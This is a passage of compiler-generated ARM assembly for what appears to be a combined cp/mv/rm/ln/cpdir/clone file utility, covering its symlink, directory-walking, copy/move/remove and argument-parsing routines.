b .L214
.L191:
ldr r3, [fp, #-1068]
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #47
bne .L196
ldr r3, [fp, #-1064]
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #47
beq .L196
ldr r3, .L216+12
ldr r0, [r3]
ldr r3, .L216+16
ldr r2, [r3]
ldr r3, [fp, #-1068]
str r3, [sp]
ldr r3, [fp, #-1064]
ldr r1, .L216+60
bl fprintf
mov r0, #1
bl exit
.L196:
sub r3, fp, #1040
sub r3, r3, #4
sub r3, r3, #4
mov r0, r3
bl path_init
ldr r3, [fp, #-1064]
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #47
beq .L197
ldr r3, [fp, #-1068]
str r3, [fp, #-1056]
b .L198
.L201:
ldr r3, [fp, #-1056]
add r3, r3, #1
str r3, [fp, #-1056]
.L199:
ldr r3, [fp, #-1056]
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
beq .L202
ldr r3, [fp, #-1056]
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #47
bne .L201
b .L202
.L203:
ldr r3, [fp, #-1056]
add r3, r3, #1
str r3, [fp, #-1056]
.L202:
ldr r3, [fp, #-1056]
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #47
beq .L203
ldr r3, [fp, #-1056]
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
beq .L215
sub r3, fp, #1040
sub r3, r3, #4
sub r3, r3, #4
ldr r1, .L216+64
mov r0, r3
bl path_add
.L198:
ldr r3, [fp, #-1056]
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L199
b .L197
.L215:
nop
.L197:
sub r3, fp, #1040
sub r3, r3, #4
sub r3, r3, #4
ldr r1, [fp, #-1064]
mov r0, r3
bl path_add
ldr r3, [fp, #-1048]
ldr r1, [fp, #-1068]
mov r0, r3
bl symlink
mov r3, r0
cmp r3, #0
bge .L206
ldr r0, [fp, #-1068]
bl report
b .L207
.L206:
ldr r3, .L216+48
ldr r3, [r3]
cmp r3, #0
beq .L207
ldr r3, [fp, #-1048]
ldr r2, [fp, #-1068]
mov r1, r3
ldr r0, .L216+56
bl printf
.L207:
ldr r3, [fp, #-1048]
mov r0, r3
bl deallocate
b .L173
.L210:
nop
b .L173
.L211:
nop
b .L173
.L212:
nop
b .L173
.L213:
nop
b .L173
.L214:
nop
.L173:
ldr r3, .L216
ldr r2, [r3]
ldr r3, [fp, #-8]
eors r2, r3, r2
mov r3, #0
beq .L209
bl __stack_chk_fail
.L209:
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L217:
.align 2
.L216:
.word .LC24
.word iflag
.word fflag
.word stderr
.word prog_name
.word .LC20
.word ex_code
.word .LC21
.word sflag
.word rflag
.word Sflag
.word xdev
.word vflag
.word .LC3
.word .LC13
.word .LC22
.word .LC23
.size link1, .-link1
.section .rodata
.align 2
.LC25:
.ascii ".\000"
.text
.align 2
.global eat_dir
.syntax unified
.arm
.fpu softvfp
.type eat_dir, %function
eat_dir:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #20
str r0, [fp, #-24]
str r1, [fp, #-28]
ldr r0, [fp, #-24]
bl opendir
str r0, [fp, #-20]
ldr r3, [fp, #-20]
cmp r3, #0
bne .L221
mov r3, #0
b .L220
.L224:
ldr r3, [fp, #-16]
add r3, r3, #11
ldr r1, .L225
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
bne .L222
b .L221
.L222:
ldr r3, [fp, #-16]
add r3, r3, #11
ldr r1, .L225+4
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
bne .L223
b .L221
.L223:
mov r1, #8
mov r0, #0
bl allocate
mov r2, r0
ldr r3, [fp, #-28]
str r2, [r3]
ldr r3, [fp, #-16]
add r3, r3, #11
mov r0, r3
bl strlen
mov r3, r0
add r2, r3, #1
ldr r3, [fp, #-28]
ldr r4, [r3]
mov r1, r2
mov r0, #0
bl allocate
mov r3, r0
str r3, [r4, #4]
ldr r3, [fp, #-28]
ldr r3, [r3]
ldr r2, [r3, #4]
ldr r3, [fp, #-16]
add r3, r3, #11
mov r1, r3
mov r0, r2
bl strcpy
ldr r3, [fp, #-28]
ldr r3, [r3]
str r3, [fp, #-28]
.L221:
ldr r0, [fp, #-20]
bl readdir
str r0, [fp, #-16]
ldr r3, [fp, #-16]
cmp r3, #0
bne .L224
ldr r0, [fp, #-20]
bl closedir
ldr r3, [fp, #-28]
mov r2, #0
str r2, [r3]
mov r3, #1
.L220:
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L226:
.align 2
.L225:
.word .LC25
.word .LC23
.size eat_dir, .-eat_dir
.align 2
.global chop_dlist
.syntax unified
.arm
.fpu softvfp
.type chop_dlist, %function
chop_dlist:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
ldr r3, [fp, #-16]
ldr r3, [r3]
str r3, [fp, #-8]
ldr r3, [fp, #-8]
ldr r2, [r3]
ldr r3, [fp, #-16]
str r2, [r3]
ldr r3, [fp, #-8]
ldr r3, [r3, #4]
mov r0, r3
bl deallocate
ldr r0, [fp, #-8]
bl deallocate
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size chop_dlist, .-chop_dlist
.align 2
.global drop_dlist
.syntax unified
.arm
.fpu softvfp
.type drop_dlist, %function
drop_dlist:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
b .L229
.L230:
sub r3, fp, #8
mov r0, r3
bl chop_dlist
.L229:
ldr r3, [fp, #-8]
cmp r3, #0
bne .L230
nop
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size drop_dlist, .-drop_dlist
.section .rodata
.align 2
.LC26:
.ascii "%s: Can't move %s onto itself\012\000"
.align 2
.LC27:
.ascii "Remove contents of %s? \000"
.align 2
.LC28:
.ascii "Replace %s? \000"
.align 2
.LC29:
.ascii "mkdir %s\012\000"
.align 2
.LC30:
.ascii " -r\000"
.align 2
.LC31:
.ascii "\000"
.align 2
.LC32:
.ascii "%s%s %s/ %s/: infinite recursion avoided\012\000"
.align 2
.LC33:
.ascii "Remove directory %s? \000"
.align 2
.LC34:
.ascii "rmdir %s\012\000"
.align 2
.LC35:
.word __stack_chk_guard
.text
.align 2
.global do1
.syntax unified
.arm
.fpu softvfp
.type do1, %function
do1:
@ args = 0, pretend = 0, frame = 224
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #232
str r0, [fp, #-216]
str r1, [fp, #-220]
str r2, [fp, #-224]
ldr r3, .L302
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
mov r3, #0
str r3, [fp, #-176]
mov r3, #0
str r3, [fp, #-88]
ldr r3, .L302+4
ldr r3, [r3]
cmp r3, #3
bne .L232
ldr r3, .L302+8
ldr r3, [r3]
cmp r3, #0
beq .L232
ldr r3, .L302+12
ldr r3, [r3]
cmp r3, #0
beq .L233
.L232:
ldr r3, .L302+16
ldr r3, [r3]
cmp r3, #0
beq .L234
ldr r3, .L302+20
b .L235
.L234:
ldr r3, .L302+24
.L235:
ldr r2, [fp, #-216]
ldr r2, [r2]
sub r1, fp, #188
mov r0, r2
blx r3
mov r3, r0
cmp r3, #0
bge .L233
ldr r3, [fp, #-216]
ldr r3, [r3]
mov r0, r3
bl report
b .L231
.L233:
ldr r3, [fp, #-224]
cmp r3, #0
bne .L237
ldr r3, .L302+28
mov r2, #0
str r2, [r3]
ldr r3, .L302+32
mov r2, #0
str r2, [r3]
sub r3, fp, #188
ldmia r3, {r2-r3}
ldr r1, .L302+36
stm r1, {r2-r3}
.L237:
ldr r3, .L302+4
ldr r3, [r3]
cmp r3, #2
beq .L238
ldr r3, .L302+16
ldr r3, [r3]
cmp r3, #0
beq .L239
ldr r3, .L302+20
b .L240
.L239:
ldr r3, .L302+24
.L240:
ldr r2, [fp, #-220]
ldr r2, [r2]
sub r1, fp, #100
mov r0, r2
blx r3
mov r3, r0
cmp r3, #0
bge .L238
bl __errno_location
mov r3, r0
ldr r3, [r3]
cmp r3, #2
beq .L238
ldr r3, [fp, #-220]
ldr r3, [r3]
mov r0, r3
bl report
b .L231
.L238:
ldr r3, .L302+4
ldr r3, [r3]
cmp r3, #1
bne .L241
ldr r3, .L302+28
ldr r3, [r3]
cmp r3, #0
bne .L241
ldr r3, [fp, #-88]
cmp r3, #0
beq .L242
sub r1, fp, #188
ldmia r1, {r0-r1}
sub r3, fp, #100
ldmia r3, {r2-r3}
cmp r1, r3
cmpeq r0, r2
beq .L242
ldr r3, .L302+28
mov r2, #1
str r2, [r3]
b .L241
.L242:
ldr r3, .L302+40
ldr r3, [r3]
cmp r3, #0
beq .L243
ldr r3, [fp, #-88]
cmp r3, #0
beq .L243
ldr r3, [fp, #-84]
and r3, r3, #61440
cmp r3, #16384
beq .L241
.L243:
ldr r2, [fp, #-176]
ldr r3, [fp, #-88]
cmp r2, r3
bne .L244
ldr r3, .L302+44
ldr r0, [r3]
ldr r3, .L302+48
ldr r2, [r3]
ldr r3, [fp, #-216]
ldr r3, [r3]
ldr r1, .L302+52
bl fprintf
ldr r3, .L302+56
mov r2, #1
str r2, [r3]
b .L231
.L244:
ldr r3, [fp, #-88]
cmp r3, #0
beq .L245
ldr r3, .L302+60
ldr r3, [r3]
cmp r3, #0
bne .L246
ldr r3, .L302+64
ldr r3, [r3]
cmp r3, #0
bne .L247
sub r3, fp, #100
mov r0, r3
bl writable
mov r3, r0
cmp r3, #0
bne .L247
.L246:
ldr r3, .L302+44
ldr r0, [r3]
ldr r3, [fp, #-220]
ldr r2, [r3]
ldr r3, [fp, #-84]
lsl r3, r3, #20
lsr r3, r3, #20
ldr r1, .L302+68
bl fprintf
bl affirmative
mov r3, r0
cmp r3, #0
beq .L295
.L247:
ldr r3, [fp, #-84]
and r3, r3, #61440
cmp r3, #16384
beq .L245
ldr r3, [fp, #-220]
ldr r3, [r3]
mov r0, r3
bl unlink
.L245:
ldr r3, [fp, #-216]
ldr r2, [r3]
ldr r3, [fp, #-220]
ldr r3, [r3]
mov r1, r3
mov r0, r2
bl rename
mov r3, r0
cmp r3, #0
bne .L248
ldr r3, .L302+72
ldr r3, [r3]
cmp r3, #0
beq .L296
ldr r3, [fp, #-216]
ldr r1, [r3]
ldr r3, [fp, #-220]
ldr r3, [r3]
mov r2, r3
ldr r0, .L302+76
bl printf
b .L296
.L248:
bl __errno_location
mov r3, r0
ldr r3, [r3]
cmp r3, #18
bne .L250
ldr r3, .L302+28
mov r2, #1
str r2, [r3]
b .L241
.L250:
ldr r3, [fp, #-216]
ldr r2, [r3]
ldr r3, [fp, #-220]
ldr r3, [r3]
mov r1, r3
mov r0, r2
bl report2
b .L231
.L241:
ldr r3, [fp, #-172]
and r3, r3, #61440
cmp r3, #16384
beq .L251
ldr r3, .L302+4
ldr r3, [r3]
cmp r3, #3
beq .L252
cmp r3, #3
bhi .L297
cmp r3, #1
bls .L254
cmp r3, #2
beq .L255
b .L297
.L254:
ldr r3, [fp, #-216]
ldr r0, [r3]
ldr r3, [fp, #-220]
ldr r1, [r3]
sub r3, fp, #100
sub r2, fp, #188
bl copy1
b .L253
.L255:
ldr r3, [fp, #-216]
ldr r3, [r3]
sub r2, fp, #188
mov r1, r2
mov r0, r3
bl remove1
b .L253
.L252:
ldr r3, [fp, #-216]
ldr r0, [r3]
ldr r3, [fp, #-220]
ldr r1, [r3]
sub r3, fp, #100
sub r2, fp, #188
bl link1
nop
.L253:
b .L297
.L251:
ldr r3, .L302+12
ldr r3, [r3]
cmp r3, #0
bne .L256
bl __errno_location
mov r3, r0
mov r2, #21
str r2, [r3]
ldr r3, [fp, #-216]
ldr r3, [r3]
mov r0, r3
bl report
b .L231
.L256:
ldr r3, .L302+4
ldr r3, [r3]
cmp r3, #2
bne .L257
ldr r3, .L302+80
ldr r3, [r3]
cmp r3, #0
beq .L258
sub r1, fp, #188
ldmia r1, {r0-r1}
ldr r3, .L302+36
ldmia r3, {r2-r3}
cmp r1, r3
cmpeq r0, r2
bne .L298
.L258:
ldr r3, .L302+60
ldr r3, [r3]
cmp r3, #0
beq .L257
ldr r3, .L302+44
ldr r0, [r3]
ldr r3, [fp, #-216]
ldr r3, [r3]
mov r2, r3
ldr r1, .L302+84
bl fprintf
bl affirmative
mov r3, r0
cmp r3, #0
beq .L299
.L257:
ldr r3, [fp, #-216]
ldr r3, [r3]
sub r2, fp, #208
mov r1, r2
mov r0, r3
bl eat_dir
mov r3, r0
cmp r3, #0
bne .L259
ldr r3, [fp, #-216]
ldr r3, [r3]
mov r0, r3
bl report
b .L231
.L259:
ldr r3, .L302+4
ldr r3, [r3]
cmp r3, #2
beq .L260
ldr r3, [fp, #-88]
cmp r3, #0
beq .L260
ldr r3, [fp, #-84]
and r3, r3, #61440
cmp r3, #16384
beq .L260
ldr r3, .L302+4
ldr r3, [r3]
cmp r3, #1
beq .L261
ldr r3, .L302+64
ldr r3, [r3]
cmp r3, #0
bne .L261
bl __errno_location
mov r3, r0
mov r2, #20
str r2, [r3]
ldr r3, [fp, #-220]
ldr r3, [r3]
mov r0, r3
bl report
b .L231
.L261:
ldr r3, .L302+60
ldr r3, [r3]
cmp r3, #0
beq .L262
ldr r3, .L302+44
ldr r0, [r3]
ldr r3, [fp, #-220]
ldr r3, [r3]
mov r2, r3
ldr r1, .L302+88
bl fprintf
bl affirmative
mov r3, r0
cmp r3, #0
bne .L262
ldr r3, [fp, #-208]
mov r0, r3
bl drop_dlist
b .L231
.L262:
ldr r3, [fp, #-220]
ldr r3, [r3]
mov r0, r3
bl unlink
mov r3, r0
cmp r3, #0
bge .L263
ldr r3, [fp, #-220]
ldr r3, [r3]
mov r0, r3
bl report
ldr r3, [fp, #-208]
mov r0, r3
bl drop_dlist
b .L231
.L263:
mov r3, #0
str r3, [fp, #-88]
.L260:
ldr r3, .L302+4
ldr r3, [r3]
cmp r3, #2
beq .L264
ldr r3, [fp, #-88]
cmp r3, #0
bne .L265
ldr r3, .L302+92
ldr r3, [r3]
cmp r3, #0
bne .L266
ldr r3, .L302+96
ldr r3, [r3]
cmp r3, #0
beq .L266
ldr r3, [fp, #-172]
ldr r2, .L302+100
ldr r2, [r2]
and r3, r3, r2
str r3, [fp, #-172]
.L266:
ldr r3, [fp, #-220]
ldr r2, [r3]
ldr r3, [fp, #-172]
orr r3, r3, #448
mov r1, r3
mov r0, r2
bl mkdir
mov r3, r0
cmp r3, #0
blt .L267
ldr r3, [fp, #-220]
ldr r3, [r3]
sub r2, fp, #100
mov r1, r2
mov r0, r3
bl stat
mov r3, r0
cmp r3, #0
bge .L268
.L267:
ldr r3, [fp, #-220]
ldr r3, [r3]
mov r0, r3
bl report
ldr r3, [fp, #-208]
mov r0, r3
bl drop_dlist
b .L231
.L268:
ldr r3, .L302+72
ldr r3, [r3]
cmp r3, #0
beq .L269
ldr r3, [fp, #-220]
ldr r3, [r3]
mov r1, r3
ldr r0, .L302+104
bl printf
b .L269
.L265:
ldr r3, .L302+4
ldr r3, [r3]
cmp r3, #1
bne .L270
ldr r3, .L302+40
ldr r3, [r3]
cmp r3, #0
bne .L270
bl __errno_location
mov r3, r0
mov r2, #17
str r2, [r3]
ldr r3, [fp, #-220]
ldr r3, [r3]
mov r0, r3
bl report
ldr r3, [fp, #-208]
mov r0, r3
bl drop_dlist
b .L231
.L270:
ldr r3, .L302+92
ldr r3, [r3]
cmp r3, #0
bne .L269
ldr r3, [fp, #-84]
str r3, [fp, #-172]
ldr r3, [fp, #-76]
str r3, [fp, #-164]
ldr r3, [fp, #-72]
str r3, [fp, #-160]
ldr r3, [fp, #-36]
str r3, [fp, #-124]
.L269:
ldr r3, .L302+32
ldr r3, [r3]
cmp r3, #0
bne .L271
sub r3, fp, #100
ldmia r3, {r2-r3}
ldr r1, .L302+108
stm r1, {r2-r3}
ldr r3, [fp, #-88]
ldr r2, .L302+32
str r3, [r2]
.L271:
ldr r2, [fp, #-176]
ldr r3, .L302+32
ldr r3, [r3]
cmp r2, r3
bne .L272
sub r1, fp, #188
ldmia r1, {r0-r1}
ldr r3, .L302+108
ldmia r3, {r2-r3}
cmp r1, r3
cmpeq r0, r2
bne .L272
ldr r3, .L302+44
ldr r0, [r3]
ldr r3, .L302+48
ldr r1, [r3]
ldr r3, .L302+4
ldr r3, [r3]
cmp r3, #1
beq .L273
ldr ip, .L302+112
b .L274
.L273:
ldr ip, .L302+116
.L274:
ldr r3, [fp, #-216]
ldr r3, [r3]
ldr r2, [fp, #-220]
ldr r2, [r2]
str r2, [sp, #4]
str r3, [sp]
mov r3, ip
mov r2, r1
ldr r1, .L302+120
bl fprintf
ldr r3, [fp, #-208]
mov r0, r3
bl drop_dlist
b .L231
.L272:
ldr r3, .L302+80
ldr r3, [r3]
cmp r3, #0
beq .L264
sub r1, fp, #188
ldmia r1, {r0-r1}
ldr r3, .L302+36
ldmia r3, {r2-r3}
cmp r1, r3
cmpeq r0, r2
beq .L264
ldr r3, [fp, #-208]
mov r0, r3
bl drop_dlist
b .L231
.L264:
ldr r3, [fp, #-216]
ldr r3, [r3, #4]
str r3, [fp, #-204]
ldr r3, [fp, #-220]
ldr r3, [r3, #4]
str r3, [fp, #-200]
b .L275
.L277:
ldr r3, [fp, #-208]
ldr r3, [r3, #4]
mov r1, r3
ldr r0, [fp, #-216]
bl path_add
ldr r3, .L302+4
ldr r3, [r3]
cmp r3, #2
beq .L276
ldr r3, [fp, #-208]
ldr r3, [r3, #4]
mov r1, r3
ldr r0, [fp, #-220]
bl path_add
.L276:
ldr r3, [fp, #-224]
add r3, r3, #1
mov r2, r3
ldr r1, [fp, #-220]
ldr r0, [fp, #-216]
bl do1
ldr r1, [fp, #-204]
ldr r0, [fp, #-216]
bl path_trunc
ldr r1, [fp, #-200]
ldr r0, [fp, #-220]
bl path_trunc
sub r3, fp, #208
mov r0, r3
bl chop_dlist
.L275:
ldr r3, [fp, #-208]
cmp r3, #0
bne .L277
ldr r3, .L302+4
ldr r3, [r3]
cmp r3, #1
beq .L278
ldr r3, .L302+4
ldr r3, [r3]
cmp r3, #2
bne .L279
.L278:
ldr r3, .L302+4
ldr r3, [r3]
cmp r3, #2
bne .L280
ldr r3, .L302+60
ldr r3, [r3]
cmp r3, #0
beq .L280
ldr r3, .L302+44
ldr r0, [r3]
ldr r3, [fp, #-216]
ldr r3, [r3]
mov r2, r3
ldr r1, .L302+124
bl fprintf
bl affirmative
mov r3, r0
cmp r3, #0
beq .L300
.L280:
ldr r3, [fp, #-216]
ldr r3, [r3]
mov r0, r3
bl rmdir
mov r3, r0
cmp r3, #0
bge .L281
bl __errno_location
mov r3, r0
ldr r3, [r3]
cmp r3, #39
beq .L301
ldr r3, [fp, #-216]
ldr r3, [r3]
mov r0, r3
bl report
b .L301
.L281:
ldr r3, .L302+72
ldr r3, [r3]
cmp r3, #0
beq .L279
ldr r3, [fp, #-216]
ldr r3, [r3]
mov r1, r3
ldr r0, .L302+128
bl printf
.L279:
ldr r3, .L302+4
ldr r3, [r3]
cmp r3, #2
beq .L231
ldr r3, .L302+92
ldr r3, [r3]
cmp r3, #0
bne .L284
ldr r3, .L302+96
ldr r3, [r3]
cmp r3, #0
bne .L285
.L284:
ldr r2, [fp, #-76]
ldr r3, [fp, #-164]
cmp r2, r3
bne .L286
ldr r2, [fp, #-72]
ldr r3, [fp, #-160]
cmp r2, r3
beq .L285
.L286:
ldr r3, [fp, #-220]
ldr r3, [r3]
ldr r1, [fp, #-164]
ldr r2, [fp, #-160]
mov r0, r3
bl chown
mov r3, r0
cmp r3, #0
bge .L285
bl __errno_location
mov r3, r0
ldr r3, [r3]
cmp r3, #1
beq .L285
ldr r3, [fp, #-220]
ldr r3, [r3]
mov r0, r3
bl report
b .L231
.L285:
ldr r2, [fp, #-84]
ldr r3, [fp, #-172]
cmp r2, r3
beq .L288
ldr r3, [fp, #-220]
ldr r3, [r3]
ldr r2, [fp, #-172]
mov r1, r2
mov r0, r3
bl chmod
mov r3, r0
cmp r3, #0
bge .L288
ldr r3, [fp, #-220]
ldr r3, [r3]
mov r0, r3
bl report
b .L231
.L288:
ldr r2, [fp, #-36]
ldr r3, [fp, #-124]
cmp r2, r3
beq .L231
ldr r3, .L302+4
ldr r3, [r3]
cmp r3, #1
bne .L290
ldr r3, [fp, #-132]
b .L291
.L290:
mov r0, #0
bl time
mov r3, r0
.L291:
str r3, [fp, #-196]
ldr r3, [fp, #-124]
str r3, [fp, #-192]
ldr r3, [fp, #-220]
ldr r3, [r3]
sub r2, fp, #196
mov r1, r2
mov r0, r3
bl utime
mov r3, r0
cmp r3, #0
bge .L231
bl __errno_location
mov r3, r0
ldr r3, [r3]
cmp r3, #1
beq .L292
ldr r3, [fp, #-220]
ldr r3, [r3]
mov r0, r3
bl report
b .L231
.L292:
ldr r3, .L302+44
ldr r0, [r3]
ldr r3, .L302+48
ldr r2, [r3]
ldr r3, [fp, #-220]
ldr r3, [r3]
ldr r1, .L302+132
bl fprintf
b .L231
.L295:
nop
b .L231
.L296:
nop
b .L231
.L297:
nop
b .L231
.L298:
nop
b .L231
.L299:
nop
b .L231
.L300:
nop
b .L231
.L301:
nop
.L231:
ldr r3, .L302
ldr r2, [r3]
ldr r3, [fp, #-8]
eors r2, r3, r2
mov r3, #0
beq .L294
bl __stack_chk_fail
.L294:
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L303:
.align 2
.L302:
.word .LC35
.word action
.word sflag
.word rflag
.word expand
.word stat
.word lstat
.word xdev
.word topdst_ino.6418
.word topsrc_dev.6420
.word mflag
.word stderr
.word prog_name
.word .LC26
.word ex_code
.word iflag
.word fflag
.word .LC12
.word vflag
.word .LC9
.word xflag
.word .LC27
.word .LC28
.word pflag
.word conforming
.word fc_mask
.word .LC29
.word topdst_dev.6419
.word .LC30
.word .LC31
.word .LC32
.word .LC33
.word .LC34
.word .LC7
.size do1, .-do1
.section .rodata
.align 2
.LC36:
.ascii "pifsmrRvx\000"
.align 2
.LC37:
.ascii "pifsrRvx\000"
.align 2
.LC38:
.ascii "ifsmvx\000"
.align 2
.LC39:
.ascii "ifsvx\000"
.align 2
.LC40:
.ascii "Usage: rm [-ifrRvx] file ...\012\000"
.align 2
.LC41:
.ascii "ifsSmrRvx\000"
.align 2
.LC42:
.ascii "ifsSrRvx\000"
.align 2
.LC43:
.ascii "ifvx\000"
.align 2
.LC44:
.ascii "ifsSvx\000"
.align 2
.LC45:
.ascii "Usage: %s [-%s] file1 file2\012\000"
.align 2
.LC46:
.ascii " %s [-%s] file ... dir\012\000"
.text
.align 2
.global usage
.syntax unified
.arm
.fpu softvfp
.type usage, %function
usage:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
ldr r3, .L314
ldr r3, [r3]
cmp r3, #5
ldrls pc, [pc, r3, asl #2]
b .L305
.L307:
.word .L312
.word .L311
.word .L310
.word .L309
.word .L308
.word .L306
.L312:
ldr r3, .L314+4
str r3, [fp, #-12]
ldr r3, .L314+8
str r3, [fp, #-8]
b .L305
.L311:
ldr r3, .L314+12
str r3, [fp, #-12]
ldr r3, .L314+16
str r3, [fp, #-8]
b .L305
.L310:
ldr r3, .L314+20
ldr r3, [r3]
mov r2, #29
mov r1, #1
ldr r0, .L314+24
bl fwrite
mov r0, #1
bl exit
.L309:
ldr r3, .L314+28
str r3, [fp, #-12]
ldr r3, .L314+32
str r3, [fp, #-8]
b .L305
.L308:
ldr r3, .L314+36
str r3, [fp, #-12]
mov r3, #0
str r3, [fp, #-8]
b .L305
.L306:
ldr r3, .L314+40
str r3, [fp, #-12]
mov r3, #0
str r3, [fp, #-8]
nop
.L305:
ldr r3, .L314+20
ldr r0, [r3]
ldr r3, .L314+44
ldr r2, [r3]
ldr r3, [fp, #-12]
ldr r1, .L314+48
bl fprintf
ldr r3, [fp, #-8]
cmp r3, #0
beq .L313
ldr r3, .L314+20
ldr r0, [r3]
ldr r3, .L314+44
ldr r2, [r3]
ldr r3, [fp, #-8]
ldr r1, .L314+52
bl fprintf
.L313:
mov r0, #1
bl exit
.L315:
.align 2
.L314:
.word identity
.word .LC36
.word .LC37
.word .LC38
.word .LC39
.word stderr
.word .LC40
.word .LC41
.word .LC42
.word .LC43
.word .LC44
.word prog_name
.word .LC45
.word .LC46
.size usage, .-usage
.section .rodata
.align 2
.LC47:
.ascii "cp\000"
.align 2
.LC48:
.ascii "mv\000"
.align 2
.LC49:
.ascii "rm\000"
.align 2
.LC50:
.ascii "ifrRvx\000"
.align 2
.LC51:
.ascii "ln\000"
.align 2
.LC52:
.ascii "cpdir\000"
.align 2
.LC53:
.ascii "clone\000"
.align 2
.LC54:
.ascii "%s: Identity crisis, not called cp, mv, rm, ln, cpd"
.ascii "ir, or clone\012\000"
.align 2
.LC55:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 144
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #144
str r0, [fp, #-144]
str r1, [fp, #-148]
ldr r3, .L363
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r3, [fp, #-148]
ldr r3, [r3]
mov r0, r3
bl basename
mov r3, r0
ldr r2, .L363+4
str r3, [r2]
ldr r3, .L363+4
ldr r3, [r3]
ldr r1, .L363+8
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
bne .L317
ldr r3, .L363+12
mov r2, #0
str r2, [r3]
ldr r3, .L363+16
mov r2, #0
str r2, [r3]
ldr r3, .L363+20
str r3, [fp, #-136]
ldr r3, .L363+24
mov r2, #1
str r2, [r3]
b .L318
.L317:
ldr r3, .L363+4
ldr r3, [r3]
ldr r1, .L363+28
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
bne .L319
ldr r3, .L363+12
mov r2, #1
str r2, [r3]
ldr r3, .L363+16
mov r2, #1
str r2, [r3]
ldr r3, .L363+32
str r3, [fp, #-136]
ldr r3, .L363+36
mov r2, #1
str r2, [r3]
ldr r3, .L363+36
ldr r3, [r3]
ldr r2, .L363+40
str r3, [r2]
b .L318
.L319:
ldr r3, .L363+4
ldr r3, [r3]
ldr r1, .L363+44
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
bne .L320
ldr r3, .L363+12
mov r2, #2
str r2, [r3]
ldr r3, .L363+16
mov r2, #2
str r2, [r3]
ldr r3, .L363+48
str r3, [fp, #-136]
b .L318
.L320:
ldr r3, .L363+4
ldr r3, [r3]
ldr r1, .L363+52
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
bne .L321
ldr r3, .L363+12
mov r2, #3
str r2, [r3]
ldr r3, .L363+16
mov r2, #3
str r2, [r3]
ldr r3, .L363+56
str r3, [fp, #-136]
b .L318
.L321:
ldr r3, .L363+4
ldr r3, [r3]
ldr r1, .L363+60
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
bne .L322
ldr r3, .L363+12
mov r2, #4
str r2, [r3]
ldr r3, .L363+16
mov r2, #0
str r2, [r3]
ldr r3, .L363+20
str r3, [fp, #-136]
ldr r3, .L363+36
mov r2, #1
str r2, [r3]
ldr r3, .L363+36
ldr r3, [r3]
ldr r2, .L363+64
str r3, [r2]
ldr r3, .L363+64
ldr r3, [r3]
ldr r2, .L363+40
str r3, [r2]
ldr r3, .L363+68
mov r2, #0
str r2, [r3]
b .L318
.L322:
ldr r3, .L363+4
ldr r3, [r3]
ldr r1, .L363+72
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
bne .L323
ldr r3, .L363+12
mov r2, #5
str r2, [r3]
ldr r3, .L363+16
mov r2, #3
str r2, [r3]
ldr r3, .L363+56
str r3, [fp, #-136]
ldr r3, .L363+76
mov r2, #1
str r2, [r3]
ldr r3, .L363+76
ldr r3, [r3]
ldr r2, .L363+64
str r3, [r2]
ldr r3, .L363+64
ldr r3, [r3]
ldr r2, .L363+40
str r3, [r2]
b .L318
.L323:
ldr r3, .L363+80
ldr r3, [r3]
ldr r2, .L363+4
ldr r2, [r2]
ldr r1, .L363+84
mov r0, r3
bl fprintf
mov r0, #1
bl exit
.L318:
bl geteuid
mov r3, r0
mov r2, r3
ldr r3, .L363+88
str r2, [r3]
bl getegid
mov r3, r0
mov r2, r3
ldr r3, .L363+92
str r2, [r3]
mov r0, #0
bl isatty
mov r3, r0
ldr r2, .L363+96
str r3, [r2]
mov r0, #0
bl umask
mov r3, r0
mvn r3, r3
mov r2, r3
ldr r3, .L363+100
str r2, [r3]
mov r3, #1
str r3, [fp, #-140]
b .L324
.L345:
ldr r3, [fp, #-140]
add r2, r3, #1
str r2, [fp, #-140]
lsl r3, r3, #2
ldr r2, [fp, #-148]
add r3, r2, r3
ldr r3, [r3]
add r3, r3, #1
str r3, [fp, #-132]
ldr r3, [fp, #-132]
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #45
bne .L327
ldr r3, [fp, #-132]
add r3, r3, #1
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
beq .L360
b .L327
.L344:
ldr r3, [fp, #-132]
ldrb r3, [r3] @ zero_extendqisi2
mov r1, r3
ldr r0, [fp, #-136]
bl strchr
mov r3, r0
cmp r3, #0
bne .L328
bl usage
.L328:
ldr r3, [fp, #-132]
add r2, r3, #1
str r2, [fp, #-132]
